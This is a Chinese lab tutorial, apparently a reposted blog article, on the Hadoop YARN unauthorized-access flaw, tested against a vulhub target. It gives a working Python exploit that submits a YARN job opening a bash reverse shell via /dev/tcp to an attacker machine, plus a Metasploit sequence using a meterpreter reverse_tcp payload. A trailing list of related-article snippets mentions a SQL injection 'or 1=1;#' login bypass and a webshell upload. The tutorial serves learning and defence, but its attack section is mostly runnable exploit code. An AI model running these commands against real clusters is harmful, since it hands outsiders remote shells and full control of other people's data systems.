Hadoop未授权访问

news/2025/1/12 12:09:26/文章来源:https://www.cnblogs.com/left-shoulder/p/18521194

Hadoop未授权访问

是什么?

Hadoop 是一种用来处理和存储大量数据的软件工具,可以用来日志分析,推荐系统,数据备份

  核心组件

存储大数据:HDFS 文件系统
处理大数据:MapReduce
管理资源:YARN

  漏洞成因(本质是API路径未授权):

默认开放的REST API端口: YARN的RESTAP默认开放在8088和8090端口,如果未进行适当的访问控制,攻击者可以利用这些API进行未授权访问。

  靶场:vulhub/hadoop/unauthorized-yarn

# 开启靶场
docker-compose up -d

利用方式一(脚本利用)

  1.访问靶机8088端口,看到存在未授权访问漏洞

image-20241101194623482

  2.通过脚本利用(通过python3执行脚本即可)

#!/usr/bin/env pythonimport requests# 漏洞目标URL
target = 'http://127.0.0.1:8088/'
#  反弹Shell 攻击机IP地址,监听6666端口
lhost = '192.168.0.1' url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/攻击机ip/6666 0>&1'},},'application-type': 'YARN',
}
requests.post(url, json=data)

利用方式二(msf利用)

  利用msf模块

msfconsole -q
use exploit/linux/http/hadoop_unauth_exec
set rhosts 192.168.81.127
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.81.238
set lport 5566
exploit

漏洞发现

  POST访问如下URL,返回application-id,则表明存在漏洞

 http://ip:8088/ws/v1/cluster/apps/new-application

image-20241101200403744

总结

  1. 漏洞成因是开启了Hadoop Web 管理页面,端口一般为8088或8090
  2. 所以可以通过访问接口发现是否存在漏洞

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/825409.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[极客大挑战 2019]EasySQL

题目链接:https://buuoj.cn/challenges#[极客大挑战 2019]EasySQL。 打开后,页面如下所示:可以看到,只有一个登录框,没有其他的内容,一般这种情况,应当先考虑 SQL 注入。 在密码框中直接插入万能密码: or 1=1 ;#。成功获取 flag。知其然,知其所以然。 一些常见的登陆功…

『模拟赛』多校A层冲刺NOIP2024模拟赛17(更新 T2 T4)

『模拟赛记录』多校A层冲刺NOIP2024模拟赛17Rank 一般A. 网络 签不上的签到题。 首先考虑枚举路径的做法,如果先枚举再计算的话复杂度会是 \(\mathcal{O(\binom{n+m-2}{n-1}(n+m))}\) 的,稍微优化一点的过程中可以去掉后面的 \((n+m)\)。考虑此时我们要记什么,首先遇到加号其…

Unleashing Reasoning Capability of LLMs via Scalable Question Synthesis from Scratch

1. 概述 LLM的SFT数据合成工作不可避免的可以划分为多个阶段:指令合成 响应合成 数据筛选。本篇文章采用了传统LLM的训练过程(SFT+DPO)进行数据合成。在领域专有模型(DeepSeekMath7B-RL,Qwen2-Math-7BInstruct)的基础上,指令合成:通过QFT(即SFT)使得模型能够正确的生…

【Azure Developer】VS Code打包Java maven Project 遇见 BUILD FAILURE

问题描述 在VS Code中创建的Java Maven项目,在进行项目打包时,遇见 BUILD FAILURE\lbimage> mvn -clean package [INFO] Scanning for projects... [INFO] [INFO] ----------------< org.yourcompany.yourproject:lbimage >----------------- [INFO] Building lbima…

项目经理在项目初期应如何界定项目范围

在项目初期,项目经理应该明确项目范围以确保成功。这包括确定项目目标、明确项目结果、识别主要利益相关者、进行需求收集、创建详细的工作分解结构(WBS)。其中,创建详细的工作分解结构是至关重要的步骤。WBS 将项目活动细分为可管理的任务,确保每个项目组件都得到适当的关…

[CSP-S 2024] 超速检测

前言 寄! 算法 计算超速区间 容易发现可以计算出每一辆车的超速区间 分讨策略大致如下void Calc(int Now) {if (Car[Now].v > V){if (Car[Now].a >= 0){Car[Now].Left = Car[Now].d, Car[Now].Right = L;return;}else{Car[Now].Left = Car[Now].d;Car[Now].Right = (int)…

ctfshow web入门 文件上传

Ctfshow Web入门 151查看源代码,发现只能上传.png的文件 用bp抓包.png的图片格式 添加一句话木马,文件格式修改成.php对于上传成功的后门代码, 直接通过hackbar发送post包利用php内置system()函数执行查看flag.php文件152 和上一题做题步骤一样但此题考点不同的是添加了后端…

什么是软件即服务(SaaS)

软件即服务(SaaS)作为一种基于云计算的软件交付模式,具有多租户架构、网络访问、定制化和灵活性、安全性和可靠性等特点。它在商业和个人生活中都有广泛的应用,帮助企业降低成本、提高效率和灵活性,同时为个人用户提供便捷和定制化的应用体验。一、软件即服务(SaaS)的定…

如何学习 C 语言

# 如何学习 C 语言 在探索如何学习 C 语言的旅程中,关键步骤包括理解语言基础、实践编程技巧、熟悉标准库、掌握数据结构与算法、以及参与项目实战。首先,深入理解C语言的基础是至关重要的,它不仅包括语法规则和基本数据类型,还涉及指针、内存管理等高级概念。实践编程技巧…

Python 迭代器和生成器的区别

Python 迭代器和生成器的区别:1.迭代器的定义与创;2.生成器的定义与创建;3.迭代器和生成器的使用场景;4.性能对比。通过比较和对比,本文旨在提供一个全面的视角,帮助读者理解何时使用迭代器和生成器,以及如何有效地在Python编程中利用这两种工具。1.迭代器的定义与创建 …

线上服务正常运行一段时间后就开始出现STW超过1秒的young gc是怎么回事

线上服务在一段正常运行后出现STW(Stop-The-World)超过1秒的young gc(垃圾收集)问题可能涉及多个方面的原因:一、内存分配与管理策略;二、GC算法与配置;三、对象生命周期管理;四、系统资源与环境;五、代码质量与优化。在这些方面中,Java虚拟机的内存管理和垃圾收集策…

WPS Excel中配置下拉多选(VBA)

网上找到两种方案,一种利用数据选择其他单元格,也就是在其他单元格建数据。需求是模板,不合适 这里我用的VBA,踩了挺多坑,详细说下 首先更新WPS为最新版,确保可用VBA和JSA  确定使用VBA还是JSA,两种语法不同VBA较老,语法可靠些,推荐(本文使用VBA)JSA为新引入JS,但…